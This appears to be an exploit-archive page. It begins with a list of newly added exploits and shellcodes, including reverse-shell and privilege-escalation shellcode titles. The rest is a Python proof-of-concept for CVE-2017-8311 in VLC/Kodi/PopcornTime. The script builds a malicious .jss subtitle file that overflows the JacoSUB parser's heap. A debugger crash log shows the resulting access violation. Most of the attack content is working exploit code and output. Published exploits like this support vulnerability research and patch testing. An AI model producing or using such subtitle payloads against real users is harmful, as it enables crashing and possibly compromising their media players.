
28 changes to exploits/shellcodes gif2apng 1.9 - '.gif' Stack Buffer Overflow VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 - Memory Corruption (PoC) Kaspersky KSN for Linux 5.2 - Memory Corruption Microsoft (Win 10) Internet Explorer 11.371.16299.0 - Denial Of Service Adobe Flash - Overflow when Playing Sound Adobe Flash - Overflow in Slab Rendering Adobe Flash - Info Leak in Image Inflation Adobe Flash - Out-of-Bounds Write in blur Filtering Chrome V8 JIT - 'NodeProperties::InferReceiverMaps' Type Confusion R 3.4.4 - Local Buffer Overflow Allok Video to DVD Burner 2.6.1217 - Buffer Overflow (SEH) lastore-daemon D-Bus - Privilege Escalation (Metasploit) Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass) ASUS infosvr - Auth Bypass Command Execution (Metasploit) UK Cookie Consent - Persistent Cross-Site Scripting WUZHI CMS 4.1.0 - Cross-Site Request Forgery Open-AudIT 2.1 - CSV Macro Injection Monstra CMS 3.0.4 - Arbitrary Folder Deletion Interspire Email Marketer < 6.1.6 - Remote Admin Authentication Bypass Ericsson-LG iPECS NMS A.1Ac - Cleartext Credential Disclosure WordPress Plugin Woo Import Export 1.0 - Arbitrary File Deletion WSO2 Carbon / WSO2 Dashboard Server 5.3.0 - Persistent Cross-Site Scripting Linux/x86 - Bind TCP (1337/TCP) Shell + Null-Free Shellcode (92 bytes) Linux/x86 - Edit /etc/sudoers with NOPASSWD for ALL Shellcode Linux/x86 - Reverse TCP (5555/TCP) Shellcode - (73 Bytes) Linux/x86 - chmod 4755 /bin/dash Shellcode (33 bytes) Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode Encoded with ROT-13 + RShift-2 + XOR Encoded (44 bytes)
62 lines
No EOL
3 KiB
Python
Executable file
62 lines
No EOL
3 KiB
Python
Executable file
"""
|
|
VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)
|
|
Author: SivertPL (kroppoloe@protonmail.ch)
|
|
CVE: CVE-2017-8311
|
|
|
|
Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
|
|
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
|
|
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
|
|
I want to join a research team.
|
|
"""
|
|
|
|
"""
|
|
ModLoad: 00000000`71660000 00000000`716a2000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
|
|
ModLoad: 00000000`71630000 00000000`71651000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
|
|
ModLoad: 00000000`71610000 00000000`7162e000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
|
|
ModLoad: 00000000`71600000 00000000`7160d000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
|
|
ModLoad: 00000000`715e0000 00000000`715fd000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
|
|
ModLoad: 00000000`715d0000 00000000`715de000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
|
|
ModLoad: 00000000`715b0000 00000000`715cf000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
|
|
core demux error: option sub-original-fps does not exist
|
|
(33c.d10): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
|
|
libsubtitle_plugin+0x44de:
|
|
715b44de 881f mov byte ptr [edi],bl ds:002b:1b9fb000=??
|
|
0:012:x86> g
|
|
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)
|
|
wow64!Wow64NotifyDebugger+0x1d:
|
|
00000000`754ac9f1 654c8b1c2530000000 mov r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????
|
|
"""
|
|
|
|
import os
|
|
import struct
|
|
import sys
|
|
import argparse
|
|
|
|
len = 1025
|
|
|
|
def main(argv):
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
|
|
parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
|
|
args = parser.parse_args()
|
|
if args.length:
|
|
global len
|
|
len = args.length
|
|
print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
|
|
write(args.filename, len)
|
|
|
|
def write(name, len):
|
|
subtitles = open("%s.jss" % name, "w+")
|
|
subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
|
|
subtitles.write("0:00:04.00 0:00:05.00 vm attack")
|
|
subtitles.write("\\C")
|
|
subtitles.write(struct.pack('B', 0))
|
|
subtitles.write('A' * len)
|
|
subtitles.close()
|
|
print "[+] Done!"
|
|
|
|
if __name__ == "__main__":
|
|
main(sys.argv[1:]) |